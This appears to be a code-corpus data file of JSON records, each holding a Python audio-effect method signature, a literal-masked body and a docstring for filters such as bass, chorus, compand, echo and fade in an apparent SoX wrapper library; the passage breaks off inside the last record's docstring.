{"signature": "def bass(self, gain_db, frequency=<NUM_LIT>, slope=<NUM_LIT:0.5>):", "body": "if not is_number(gain_db):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(slope) or slope <= <NUM_LIT:0> or slope > <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(gain_db), '<STR_LIT>'.format(frequency),<EOL>'<STR_LIT>'.format(slope)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Boost or cut the bass (lower) frequencies of the audio using a\n        two-pole shelving filter with a response similar to that of a standard\n        hi-fi\u2019s tone-controls. This is also known as shelving equalisation.\n\n        The filters are described in detail in\n        http://musicdsp.org/files/Audio-EQ-Cookbook.txt\n\n        Parameters\n        ----------\n        gain_db : float\n            The gain at 0 Hz.\n            For a large cut use -20, for a large boost use 20.\n        frequency : float, default=100.0\n            The filter's cutoff frequency in Hz.\n        slope : float, default=0.5\n            The steepness of the filter's shelf transition.\n            For a gentle slope use 0.3, and use 1.0 for a steep slope.\n\n        See Also\n        --------\n        treble, equalizer", "id": "f3809:c0:m10"}
{"signature": "def bend(self, n_bends, start_times, end_times, cents, frame_rate=<NUM_LIT>,<EOL>oversample_rate=<NUM_LIT:16>):", "body": "if not isinstance(n_bends, int) or n_bends < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(start_times, list) or len(start_times) != n_bends:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([(not is_number(p) or p <= <NUM_LIT:0>) for p in start_times]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if sorted(start_times) != start_times:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(end_times, list) or len(end_times) != n_bends:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([(not is_number(p) or p <= <NUM_LIT:0>) for p in end_times]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if sorted(end_times) != end_times:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([e <= s for s, e in zip(start_times, end_times)]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if any([e > s for s, e in zip(start_times[<NUM_LIT:1>:], end_times[:-<NUM_LIT:1>])]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(cents, list) or len(cents) != n_bends:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([not is_number(p) for p in cents]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (not isinstance(frame_rate, int) or<EOL>frame_rate < <NUM_LIT:10> or frame_rate > <NUM_LIT>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (not isinstance(oversample_rate, int) or<EOL>oversample_rate < <NUM_LIT:4> or oversample_rate > <NUM_LIT:32>):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT:{}>'.format(frame_rate),<EOL>'<STR_LIT>', '<STR_LIT:{}>'.format(oversample_rate)<EOL>]<EOL>last = <NUM_LIT:0><EOL>for i in range(n_bends):<EOL><INDENT>t_start = round(start_times[i] - last, <NUM_LIT:2>)<EOL>t_end = round(end_times[i] - start_times[i], <NUM_LIT:2>)<EOL>effect_args.append(<EOL>'<STR_LIT>'.format(t_start, cents[i], t_end)<EOL>)<EOL>last = end_times[i]<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Changes pitch by specified amounts at specified times.\n        The pitch-bending algorithm utilises the Discrete Fourier Transform\n        (DFT) at a particular frame rate and over-sampling rate.\n\n        Parameters\n        ----------\n        n_bends : int\n            The number of intervals to pitch shift\n        start_times : list of floats\n            A list of absolute start times (in seconds), in order\n        end_times : list of floats\n            A list of absolute end times (in seconds) in order.\n            [start_time, end_time] intervals may not overlap!\n        cents : list of floats\n            A list of pitch shifts in cents. A positive value shifts the pitch\n            up, a negative value shifts the pitch down.\n        frame_rate : int, default=25\n            The number of DFT frames to process per second, between 10 and 80\n        oversample_rate: int, default=16\n            The number of frames to over sample per second, between 4 and 32\n\n        See Also\n        --------\n        pitch", "id": "f3809:c0:m11"}
{"signature": "def biquad(self, b, a):", "body": "if not isinstance(b, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(a, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(b) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(a) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not all([is_number(b_val) for b_val in b]):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not all([is_number(a_val) for a_val in a]):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(b[<NUM_LIT:0>]), '<STR_LIT>'.format(b[<NUM_LIT:1>]),<EOL>'<STR_LIT>'.format(b[<NUM_LIT:2>]), '<STR_LIT>'.format(a[<NUM_LIT:0>]),<EOL>'<STR_LIT>'.format(a[<NUM_LIT:1>]), '<STR_LIT>'.format(a[<NUM_LIT:2>])<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a biquad IIR filter with the given coefficients.\n\n        Parameters\n        ----------\n        b : list of floats\n            Numerator coefficients. Must be length 3\n        a : list of floats\n            Denominator coefficients. Must be length 3\n\n        See Also\n        --------\n        fir, treble, bass, equalizer", "id": "f3809:c0:m12"}
{"signature": "def channels(self, n_channels):", "body": "if not isinstance(n_channels, int) or n_channels <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT:{}>'.format(n_channels)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Change the number of channels in the audio signal. If decreasing the\n        number of channels it mixes channels together, if increasing the number\n        of channels it duplicates.\n\n        Note: This overrides arguments used in the convert effect!\n\n        Parameters\n        ----------\n        n_channels : int\n            Desired number of channels.\n\n        See Also\n        --------\n        convert", "id": "f3809:c0:m13"}
{"signature": "def chorus(self, gain_in=<NUM_LIT:0.5>, gain_out=<NUM_LIT>, n_voices=<NUM_LIT:3>, delays=None,<EOL>decays=None, speeds=None, depths=None, shapes=None):", "body": "if not is_number(gain_in) or gain_in <= <NUM_LIT:0> or gain_in > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(gain_out) or gain_out <= <NUM_LIT:0> or gain_out > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(n_voices, int) or n_voices <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not (delays is None or isinstance(delays, list)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if delays is not None:<EOL><INDENT>if len(delays) != n_voices:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p < <NUM_LIT:20>) for p in delays):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>delays = [random.uniform(<NUM_LIT>, <NUM_LIT>) for _ in range(n_voices)]<EOL><DEDENT>if not (decays is None or isinstance(decays, list)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if decays is not None:<EOL><INDENT>if len(decays) != n_voices:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0> or p > <NUM_LIT:1>) for p in decays):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>decays = [random.uniform(<NUM_LIT>, <NUM_LIT>) for _ in range(n_voices)]<EOL><DEDENT>if not (speeds is None or isinstance(speeds, list)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if speeds is not None:<EOL><INDENT>if len(speeds) != n_voices:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0>) for p in speeds):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>speeds = [random.uniform(<NUM_LIT>, <NUM_LIT>) for _ in range(n_voices)]<EOL><DEDENT>if not (depths is None or isinstance(depths, list)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if depths is not None:<EOL><INDENT>if len(depths) != n_voices:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0>) for p in depths):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>depths = [random.uniform(<NUM_LIT:1.0>, <NUM_LIT>) for _ in range(n_voices)]<EOL><DEDENT>if not (shapes is None or isinstance(shapes, list)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if shapes is not None:<EOL><INDENT>if len(shapes) != n_voices:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((p not in ['<STR_LIT:t>', '<STR_LIT:s>']) for p in shapes):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>shapes = [random.choice(['<STR_LIT:t>', '<STR_LIT:s>']) for _ in range(n_voices)]<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT:{}>'.format(gain_in), '<STR_LIT:{}>'.format(gain_out)]<EOL>for i in range(n_voices):<EOL><INDENT>effect_args.extend([<EOL>'<STR_LIT>'.format(delays[i]),<EOL>'<STR_LIT>'.format(decays[i]),<EOL>'<STR_LIT>'.format(speeds[i]),<EOL>'<STR_LIT>'.format(depths[i]),<EOL>'<STR_LIT>'.format(shapes[i])<EOL>])<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Add a chorus effect to the audio. This can makeasingle vocal sound\n        like a chorus, but can also be applied to instrumentation.\n\n        Chorus resembles an echo effect with a short delay, but whereas with\n        echo the delay is constant, with chorus, it is varied using sinusoidal\n        or triangular modulation. The modulation depth defines the range the\n        modulated delay is played before or after the delay. Hence the delayed\n        sound will sound slower or faster, that is the delayed sound tuned\n        around the original one, like in a chorus where some vocals are\n        slightly off key.\n\n        Parameters\n        ----------\n        gain_in : float, default=0.3\n            The time in seconds over which the instantaneous level of the input\n            signal is averaged to determine increases in volume.\n        gain_out : float, default=0.8\n            The time in seconds over which the instantaneous level of the input\n            signal is averaged to determine decreases in volume.\n        n_voices : int, default=3\n            The number of voices in the chorus effect.\n        delays : list of floats > 20 or None, default=None\n            If a list, the list of delays (in miliseconds) of length n_voices.\n            If None, the individual delay parameters are chosen automatically\n            to be between 40 and 60 miliseconds.\n        decays : list of floats or None, default=None\n            If a list, the list of decays (as a fraction of gain_in) of length\n            n_voices.\n            If None, the individual decay parameters are chosen automatically\n            to be between 0.3 and 0.4.\n        speeds : list of floats or None, default=None\n            If a list, the list of modulation speeds (in Hz) of length n_voices\n            If None, the individual speed parameters are chosen automatically\n            to be between 0.25 and 0.4 Hz.\n        depths : list of floats or None, default=None\n            If a list, the list of depths (in miliseconds) of length n_voices.\n            If None, the individual delay parameters are chosen automatically\n            to be between 1 and 3 miliseconds.\n        shapes : list of 's' or 't' or None, deault=None\n            If a list, the list of modulation shapes - 's' for sinusoidal or\n            't' for triangular - of length n_voices.\n            If None, the individual shapes are chosen automatically.", "id": "f3809:c0:m14"}
{"signature": "def compand(self, attack_time=<NUM_LIT>, decay_time=<NUM_LIT>, soft_knee_db=<NUM_LIT>,<EOL>tf_points=[(-<NUM_LIT>, -<NUM_LIT>), (-<NUM_LIT>, -<NUM_LIT:20>), (<NUM_LIT:0>, <NUM_LIT:0>)],<EOL>):", "body": "if not is_number(attack_time) or attack_time <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(decay_time) or decay_time <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if attack_time > decay_time:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not (is_number(soft_knee_db) or soft_knee_db is None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(tf_points, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if len(tf_points) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any(not isinstance(pair, tuple) for pair in tf_points):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any(len(pair) != <NUM_LIT:2> for pair in tf_points):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any(not (is_number(p[<NUM_LIT:0>]) and is_number(p[<NUM_LIT:1>])) for p in tf_points):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((p[<NUM_LIT:0>] > <NUM_LIT:0> or p[<NUM_LIT:1>] > <NUM_LIT:0>) for p in tf_points):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(tf_points) > len(set([p[<NUM_LIT:0>] for p in tf_points])):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>tf_points = sorted(<EOL>tf_points,<EOL>key=lambda tf_points: tf_points[<NUM_LIT:0>]<EOL>)<EOL>transfer_list = []<EOL>for point in tf_points:<EOL><INDENT>transfer_list.extend([<EOL>\"<STR_LIT>\".format(point[<NUM_LIT:0>]), \"<STR_LIT>\".format(point[<NUM_LIT:1>])<EOL>])<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>\"<STR_LIT>\".format(attack_time, decay_time)<EOL>]<EOL>if soft_knee_db is not None:<EOL><INDENT>effect_args.append(<EOL>\"<STR_LIT>\".format(soft_knee_db, \"<STR_LIT:U+002C>\".join(transfer_list))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>effect_args.append(\"<STR_LIT:U+002C>\".join(transfer_list))<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Compand (compress or expand) the dynamic range of the audio.\n\n        Parameters\n        ----------\n        attack_time : float, default=0.3\n            The time in seconds over which the instantaneous level of the input\n            signal is averaged to determine increases in volume.\n        decay_time : float, default=0.8\n            The time in seconds over which the instantaneous level of the input\n            signal is averaged to determine decreases in volume.\n        soft_knee_db : float or None, default=6.0\n            The ammount (in dB) for which the points at where adjacent line\n            segments on the transfer function meet will be rounded.\n            If None, no soft_knee is applied.\n        tf_points : list of tuples\n            Transfer function points as a list of tuples corresponding to\n            points in (dB, dB) defining the compander's transfer function.\n\n        See Also\n        --------\n        mcompand, contrast", "id": "f3809:c0:m15"}
{"signature": "def contrast(self, amount=<NUM_LIT>):", "body": "if not is_number(amount) or amount < <NUM_LIT:0> or amount > <NUM_LIT:100>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT>'.format(amount)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Comparable with compression, this effect modifies an audio signal to\n        make it sound louder.\n\n        Parameters\n        ----------\n        amount : float\n            Amount of enhancement between 0 and 100.\n\n        See Also\n        --------\n        compand, mcompand", "id": "f3809:c0:m16"}
{"signature": "def convert(self, samplerate=None, n_channels=None, bitdepth=None):", "body": "bitdepths = [<NUM_LIT:8>, <NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>, <NUM_LIT:64>]<EOL>if bitdepth is not None:<EOL><INDENT>if bitdepth not in bitdepths:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(str(bitdepths))<EOL>)<EOL><DEDENT>self.output_format.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(bitdepth)])<EOL><DEDENT>if n_channels is not None:<EOL><INDENT>if not isinstance(n_channels, int) or n_channels <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>self.output_format.extend(['<STR_LIT:-c>', '<STR_LIT:{}>'.format(n_channels)])<EOL><DEDENT>if samplerate is not None:<EOL><INDENT>if not is_number(samplerate) or samplerate <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.rate(samplerate)<EOL><DEDENT>return self<EOL>", "docstring": "Converts output audio to the specified format.\n\n        Parameters\n        ----------\n        samplerate : float, default=None\n            Desired samplerate. If None, defaults to the same as input.\n        n_channels : int, default=None\n            Desired number of channels. If None, defaults to the same as input.\n        bitdepth : int, default=None\n            Desired bitdepth. If None, defaults to the same as input.\n\n        See Also\n        --------\n        rate", "id": "f3809:c0:m17"}
{"signature": "def dcshift(self, shift=<NUM_LIT:0.0>):", "body": "if not is_number(shift) or shift < -<NUM_LIT:2> or shift > <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT>'.format(shift)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a DC shift to the audio.\n\n        Parameters\n        ----------\n        shift : float\n            Amount to shift audio between -2 and 2. (Audio is between -1 and 1)\n\n        See Also\n        --------\n        highpass", "id": "f3809:c0:m18"}
{"signature": "def deemph(self):", "body": "effect_args = ['<STR_LIT>']<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply Compact Disc (IEC 60908) de-emphasis (a treble attenuation\n        shelving filter). Pre-emphasis was applied in the mastering of some\n        CDs issued in the early 1980s. These included many classical music\n        albums, as well as now sought-after issues of albums by The Beatles,\n        Pink Floyd and others. Pre-emphasis should be removed at playback time\n        by a de-emphasis filter in the playback device. However, not all modern\n        CD players have this filter, and very few PC CD drives have it; playing\n        pre-emphasised audio without the correct de-emphasis filter results in\n        audio that sounds harsh and is far from what its creators intended.\n\n        The de-emphasis filter is implemented as a biquad and requires the\n        input audio sample rate to be either 44.1kHz or 48kHz. Maximum\n        deviation from the ideal response is only 0.06dB (up to 20kHz).\n\n        See Also\n        --------\n        bass, treble", "id": "f3809:c0:m19"}
{"signature": "def delay(self, positions):", "body": "if not isinstance(positions, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not all((is_number(p) and p >= <NUM_LIT:0>) for p in positions):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>effect_args.extend(['<STR_LIT>'.format(p) for p in positions])<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Delay one or more audio channels such that they start at the given\n        positions.\n\n        Parameters\n        ----------\n        positions: list of floats\n            List of times (in seconds) to delay each audio channel.\n            If fewer positions are given than the number of channels, the\n            remaining channels will be unaffected.", "id": "f3809:c0:m20"}
{"signature": "def downsample(self, factor=<NUM_LIT:2>):", "body": "if not isinstance(factor, int) or factor < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT:{}>'.format(factor)]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Downsample the signal by an integer factor. Only the first out of\n        each factor samples is retained, the others are discarded.\n\n        No decimation filter is applied. If the input is not a properly\n        bandlimited baseband signal, aliasing will occur. This may be desirable\n        e.g., for frequency translation.\n\n        For a general resampling effect with anti-aliasing, see rate.\n\n        Parameters\n        ----------\n        factor : int, default=2\n            Downsampling factor.\n\n        See Also\n        --------\n        rate, upsample", "id": "f3809:c0:m21"}
{"signature": "def earwax(self):", "body": "effect_args = ['<STR_LIT>']<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Makes audio easier to listen to on headphones. Adds \u2018cues\u2019 to 44.1kHz\n        stereo audio so that when listened to on headphones the stereo image is\n        moved from inside your head (standard for headphones) to outside and in\n        front of the listener (standard for speakers).\n\n        Warning: Will only work properly on 44.1kHz stereo audio!", "id": "f3809:c0:m22"}
{"signature": "def echo(self, gain_in=<NUM_LIT>, gain_out=<NUM_LIT>, n_echos=<NUM_LIT:1>, delays=[<NUM_LIT>],<EOL>decays=[<NUM_LIT>]):", "body": "if not is_number(gain_in) or gain_in <= <NUM_LIT:0> or gain_in > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(gain_out) or gain_out <= <NUM_LIT:0> or gain_out > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(n_echos, int) or n_echos <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(delays, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(delays) != n_echos:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0>) for p in delays):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(decays, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(decays) != n_echos:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0> or p > <NUM_LIT:1>) for p in decays):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = ['<STR_LIT>', '<STR_LIT>'.format(gain_in), '<STR_LIT>'.format(gain_out)]<EOL>for i in range(n_echos):<EOL><INDENT>effect_args.extend([<EOL>'<STR_LIT:{}>'.format(delays[i]),<EOL>'<STR_LIT:{}>'.format(decays[i])<EOL>])<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Add echoing to the audio.\n\n        Echoes are reflected sound and can occur naturally amongst mountains\n        (and sometimes large buildings) when talking or shouting; digital echo\n        effects emulate this behav- iour and are often used to help fill out\n        the sound of a single instrument or vocal. The time differ- ence\n        between the original signal and the reflection is the 'delay' (time),\n        and the loudness of the reflected signal is the 'decay'. Multiple\n        echoes can have different delays and decays.\n\n        Parameters\n        ----------\n        gain_in : float, default=0.8\n            Input volume, between 0 and 1\n        gain_out : float, default=0.9\n            Output volume, between 0 and 1\n        n_echos : int, default=1\n            Number of reflections\n        delays : list, default=[60]\n            List of delays in miliseconds\n        decays : list, default=[0.4]\n            List of decays, relative to gain in between 0 and 1\n\n        See Also\n        --------\n        echos, reverb, chorus", "id": "f3809:c0:m23"}
{"signature": "def echos(self, gain_in=<NUM_LIT>, gain_out=<NUM_LIT>, n_echos=<NUM_LIT:1>, delays=[<NUM_LIT>],<EOL>decays=[<NUM_LIT>]):", "body": "if not is_number(gain_in) or gain_in <= <NUM_LIT:0> or gain_in > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(gain_out) or gain_out <= <NUM_LIT:0> or gain_out > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(n_echos, int) or n_echos <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(delays, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(delays) != n_echos:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0>) for p in delays):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(decays, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(decays) != n_echos:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any((not is_number(p) or p <= <NUM_LIT:0> or p > <NUM_LIT:1>) for p in decays):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(gain_in), '<STR_LIT>'.format(gain_out)<EOL>]<EOL>for i in range(n_echos):<EOL><INDENT>effect_args.extend([<EOL>'<STR_LIT>'.format(delays[i]),<EOL>'<STR_LIT>'.format(decays[i])<EOL>])<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Add a sequence of echoes to the audio.\n\n        Like the echo effect, echos stand for \u2018ECHO in Sequel\u2019, that is the\n        first echos takes the input, the second the input and the first echos,\n        the third the input and the first and the second echos, ... and so on.\n        Care should be taken using many echos; a single echos has the same\n        effect as a single echo.\n\n        Parameters\n        ----------\n        gain_in : float, default=0.8\n            Input volume, between 0 and 1\n        gain_out : float, default=0.9\n            Output volume, between 0 and 1\n        n_echos : int, default=1\n            Number of reflections\n        delays : list, default=[60]\n            List of delays in miliseconds\n        decays : list, default=[0.4]\n            List of decays, relative to gain in between 0 and 1\n\n        See Also\n        --------\n        echo, reverb, chorus", "id": "f3809:c0:m24"}
{"signature": "def equalizer(self, frequency, width_q, gain_db):", "body": "if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width_q) or width_q <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(gain_db):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(frequency),<EOL>'<STR_LIT>'.format(width_q),<EOL>'<STR_LIT>'.format(gain_db)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a two-pole peaking equalisation (EQ) filter to boost or\n        reduce around a given frequency.\n        This effect can be applied multiple times to produce complex EQ curves.\n\n        Parameters\n        ----------\n        frequency : float\n            The filter's central frequency in Hz.\n        width_q : float\n            The filter's width as a Q-factor.\n        gain_db : float\n            The filter's gain in dB.\n\n        See Also\n        --------\n        bass, treble", "id": "f3809:c0:m25"}
{"signature": "def fade(self, fade_in_len=<NUM_LIT:0.0>, fade_out_len=<NUM_LIT:0.0>, fade_shape='<STR_LIT:q>'):", "body": "fade_shapes = ['<STR_LIT:q>', '<STR_LIT:h>', '<STR_LIT:t>', '<STR_LIT:l>', '<STR_LIT:p>']<EOL>if fade_shape not in fade_shapes:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(fade_shapes))<EOL>)<EOL><DEDENT>if not is_number(fade_in_len) or fade_in_len < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(fade_out_len) or fade_out_len < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = []<EOL>if fade_in_len > <NUM_LIT:0>:<EOL><INDENT>effect_args.extend([<EOL>'<STR_LIT>', '<STR_LIT:{}>'.format(fade_shape), '<STR_LIT>'.format(fade_in_len)<EOL>])<EOL><DEDENT>if fade_out_len > <NUM_LIT:0>:<EOL><INDENT>effect_args.extend([<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT:{}>'.format(fade_shape),<EOL>'<STR_LIT>'.format(fade_out_len), '<STR_LIT>'<EOL>])<EOL><DEDENT>if len(effect_args) > <NUM_LIT:0>:<EOL><INDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL><DEDENT>return self<EOL>", "docstring": "Add a fade in and/or fade out to an audio file.\n        Default fade shape is 1/4 sine wave.\n\n        Parameters\n        ----------\n        fade_in_len : float, default=0.0\n            Length of fade-in (seconds). If fade_in_len = 0,\n            no fade in is applied.\n        fade_out_len : float, defaut=0.0\n            Length of fade-out (seconds). If fade_out_len = 0,\n            no fade in is applied.\n        fade_shape : str, default='q'\n            